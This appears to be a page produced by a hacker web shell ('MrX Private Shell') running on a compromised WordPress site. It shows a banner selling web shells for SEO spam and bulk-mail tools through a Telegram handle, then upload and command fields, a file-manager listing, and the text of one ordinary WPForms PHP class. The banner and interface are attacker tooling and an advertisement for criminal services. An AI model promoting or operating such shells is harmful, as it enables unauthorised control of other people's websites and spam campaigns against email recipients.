__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Tasks\Actions;

use WPForms\Tasks\Task;
use WPForms\Tasks\Meta;

/**
 * Class AsyncRequestTask is responsible to send information in the background.
 *
 * @since 1.7.5
 */
class AsyncRequestTask extends Task {

	/**
	 * Action name for this task.
	 *
	 * @since 1.7.5
	 */
	const ACTION = 'wpforms_process_async_request';

	/**
	 * Class constructor.
	 *
	 * @since 1.7.5
	 */
	public function __construct() {

		// Task functionality is needed on cron request only.
		if ( ! ( defined( 'DOING_CRON' ) && DOING_CRON ) ) {
			return;
		}

		parent::__construct( self::ACTION );

		$this->hooks();
	}

	/**
	 * Add hooks.
	 *
	 * @since 1.7.5
	 */
	private function hooks() {

		// Register the migrate action.
		add_action( self::ACTION, [ $this, 'process' ] );
	}


	/**
	 * Send usage tracking to the server.
	 *
	 * @since 1.7.5
	 *
	 * @param int $meta_id Action meta id.
	 */
	public static function process( $meta_id ) {

		$params = ( new Meta() )->get( $meta_id );

		if ( ! $params ) {
			return;
		}

		list( $url, $args ) = $params->data;

		wp_safe_remote_get( $url, $args );
	}
}

Filemanager

Name Type Size Permission Actions
AsyncRequestTask.php File 1.09 KB 0640
DomainAutoRegistrationTask.php File 2.38 KB 0640
EntryEmailsMetaCleanupTask.php File 2.11 KB 0640
EntryEmailsTask.php File 1.34 KB 0640
FormsLocatorScanTask.php File 12.73 KB 0640
IconChoicesFontAwesomeUpgradeTask.php File 3.07 KB 0640
Migration173Task.php File 5.3 KB 0640
Migration175Task.php File 11.82 KB 0640
PurgeSpamTask.php File 1.9 KB 0640
SquareSubscriptionTransactionIDTask.php File 3.04 KB 0640
StripeLinkSubscriptionsTask.php File 6.81 KB 0640
WebhooksAutoConfigurationTask.php File 2.39 KB 0640
Filemanager